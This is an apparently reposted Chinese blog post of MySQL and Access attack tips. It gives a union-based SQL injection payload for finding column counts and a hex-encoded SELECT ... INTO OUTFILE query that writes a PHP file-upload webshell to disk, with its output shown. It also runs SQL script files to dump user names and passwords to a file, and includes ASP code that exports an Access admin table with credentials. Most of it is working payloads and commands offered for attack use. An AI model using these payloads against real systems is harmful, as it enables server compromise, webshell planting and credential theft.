mysql攻击小技巧

[tips2]

文/superhei 05-02-10
1.不要错误判断(特殊字符)的sql注射

经典方法:

id=1 and 1=2 union select 1,1,1,1,1,1,1 再根据特殊字符判断



我们知道当上面的字段前后一样时,查询出来的字段数据都被1替换了,这里用可以把1改为一个特殊点的数字(不可以为字符),比如这样:

id= and 1=2 union select 1.123230273,1.123230273,1.123230273,1.123230273 ......

当我们字段相同时,数据都会被1.123230273替换出来,我们只要用程序查找返回的数据是否包含了1.123230273这个就可以判断了

不过有的程序 当你查询错误时 自动提示出你的错误的sql语句 当然这个里面就有你提交的1.123230273,这个时候这个方法就失败了。

ps:CASI3.0就采用的这个办法。



2.mysql导出shell新方法

经典方法:

CREATE TABLE a (cmd text NOT NULL) <-创建一个表

INSERT INTO a (cmd) VALUES ()      <-插入数据    

select cmd from a into outfile path 〈-导出

DROP TABLE IF EXISTS a              〈-删表



新方法:
mysql> select 0x3C3F636F707928245F46494C45535B4D7946696C655D5B746D705F6E616D655D

2C245F46494C45535B4D7946696C655D5B6E616D655D293B3F3E2F2F from in.user into outfi

le 'c:/heige.php';

Query OK, 2 rows affected (0.00 sec)



C:/>type heige.php

<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>//

<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>//



注意上面语句的  from in.user <-这个必须存在 :)



这个方法也应用在casi3自带mysqlc.exe里面。



3.Eexcute a SQL Script file in Mysql

先把我们要执行的语句保存为一文件:

c:/11.txt里内容:

select * from user into outfile 'c:/heige.php';

在mysql执行:

mysql> /.

ERROR:

Usage: /. <filename> | source <filename>

mysql> /. c:/11.txt

Query OK, 2 rows affected (0.00 sec)



C:/>type heige.php

1       angel   mypass

2       4ngel   mypass2



也可以使用 mysql> source c:/11.txt 我们再看看可以用select去执行不 :

mysql> select /. c:/11.txt

ERROR 1086: File 'c:/heige.php' already exists

mysql> select source c:/11.txt

ERROR:

Unknown command '/1'.

    -> ;

ERROR 1064: You have an error in your SQL syntax.  Check the manual that corresp

onds to your MySQL server version for the right syntax to use near ':/11.txt' at

line 1



看来select 只识别/.

大家注意到select /. c:/11.txt 着里面路径不要求'' ,不过又多了个/ 这个在magic_quotes_gpc = On 下照样过不去

有兴趣的可以接着玩玩 :)



4.access导出文件

详细见kevin的blog

http://hididi.net/public/Kevin/blogview.asp?logID=73

<%

'code by superhei

'test access



Set Conn = Server.CreateObject("ADODB.Connection")

dsn="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath("q.mdb")

Set Rs = Server.CreateObject("ADODB.Recordset")

Conn.Open dsn

SQL = "SELECT * into [mytest112.txt] IN 'c:/' 'text;'  FROM admin;"

rs.open sql,conn

if rs.eof and rs.bof then

' Access Denied

else

' Access Allowed

end if

rs.close

set rs=nothing

'关闭连接

conn.close

set conn=nothing

response.write "sql为:" &sql



%>



执行上面的asp

C:/>dir mytest*.txt

驱动器 C 中的卷是 AAAAAAA

卷的序列号是 3CEE-A8A9



C:/ 的目录



2005-02-09  17:27                   46 mytest112.txt

               1 个文件             46 字节

               0 个目录    885,846,016 可用字节



C:/>type mytest112.txt

"id","f_name","f_password"

1,"admin","pass"
  
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值